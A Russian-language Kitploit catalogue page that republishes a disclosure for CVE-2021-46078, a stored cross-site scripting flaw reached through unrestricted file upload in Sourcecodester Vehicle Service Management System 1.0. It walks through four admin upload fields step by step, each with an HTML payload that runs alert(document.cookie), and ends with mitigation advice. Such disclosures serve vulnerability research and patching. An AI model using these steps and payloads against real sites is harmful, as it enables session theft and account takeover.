Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting — CVE-2021-46078 - Уязвимость неограниченной загрузки файлов существует в Sourcecodester Vehicle Service Management System 1.0. Удаленный злоумышленник может загружать вредоносные файлы, что приводит к уязвимости Stored Cross-Site Scripting. | Kitploit
Инструменты/GitHubGitHub/sanupl/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubsanupl/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting

CVE-2021-46078 - Уязвимость неограниченной загрузки файлов существует в Sourcecodester Vehicle Service Management System 1.0. Удаленный злоумышленник может загружать вредоносные файлы, что приводит к уязвимости Stored Cross-Site Scripting.

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-46078

Название эксплойта: Vehicle Service Management System - 'Multiple' Загрузка файла приводит к хранимому межсайтовому скриптингу

Автор эксплойта: SANU P.L

CVE: CVE-2021-46078

CVSS: 4.8 MEDIUM

Ссылки:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46078
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46078

Описание:

В Sourcecodester Vehicle Service Management System 1.0 существует уязвимость неограниченной загрузки файлов. Удаленный злоумышленник может загрузить вредоносные файлы, что приводит к уязвимости хранимого межсайтового скриптинга.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

Эксплойт:

  1. Войдите в панель администратора http://localhost/vehicle_service/admin
  2. Перейдите в раздел My Account http://localhost/vehicle_service/admin/?page=user

Полезная нагрузка:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Сохраните приведенный выше HTML-код, например: XSS.html
  2. В разделе My Account введите все необходимые данные и выберите HTML-файл в поле Avatar.
  3. Нажмите кнопку Update.
  4. Откройте изображение аватара в новой вкладке.
  5. Запустится вредоносный JavaScript-код.

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

Эксплойт:

  1. Войдите в панель администратора http://localhost/vehicle_service/admin
  2. Перейдите в раздел User List и нажмите кнопку Create New.

Полезная нагрузка:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Сохраните приведенный выше HTML-код, например: XSS.html
  2. На странице Create New User введите все необходимые данные и выберите HTML-файл в поле Avatar.
  3. Нажмите кнопку Save.
  4. Откройте изображение аватара в новой вкладке.
  5. Запустится вредоносный JavaScript-код.

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

Эксплойт:

  1. Войдите в панель администратора http://localhost/vehicle_service/admin
  2. Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info

Полезная нагрузка:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Сохраните приведенный выше HTML-код, например: XSS.html
  2. В разделе Settings введите все необходимые данные и выберите HTML-файл в поле System Logo.
  3. Нажмите кнопку Update.
  4. Откройте изображение System Logo в новой вкладке.
  5. Запустится вредоносный JavaScript-код.

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

Эксплойт:

  1. Войдите в панель администратора http://localhost/vehicle_service/admin
  2. Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info

Полезная нагрузка:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Сохраните приведенный выше HTML-код, например: XSS.html
  2. В разделе Settings введите все необходимые данные и выберите HTML-файл в поле Website Cover.
  3. Нажмите кнопку Update.
  4. Откройте изображение Website Cover в новой вкладке.
  5. Запустится вредоносный JavaScript-код.

Воздействие:

Злоумышленник может загрузить вредоносный файл в нескольких конечных точках, что приводит к хранимому межсайтовому скриптингу.

Меры по смягчению:

Рекомендуется реализовать следующее:

  • Никогда не принимайте имя файла и его расширение напрямую без белого списка фильтров.
  • Если нет необходимости в символах Unicode, настоятельно рекомендуется принимать только буквенно-цифровые символы и только одну точку в качестве ввода для имени файла и расширения.
  • Ограничьте размер файла максимальным значением, чтобы предотвратить атаки типа «отказ в обслуживании».
  • Директория загрузки не должна иметь никаких прав на «выполнение».
  • Не полагайтесь только на проверку на стороне клиента.
Скачать инструмент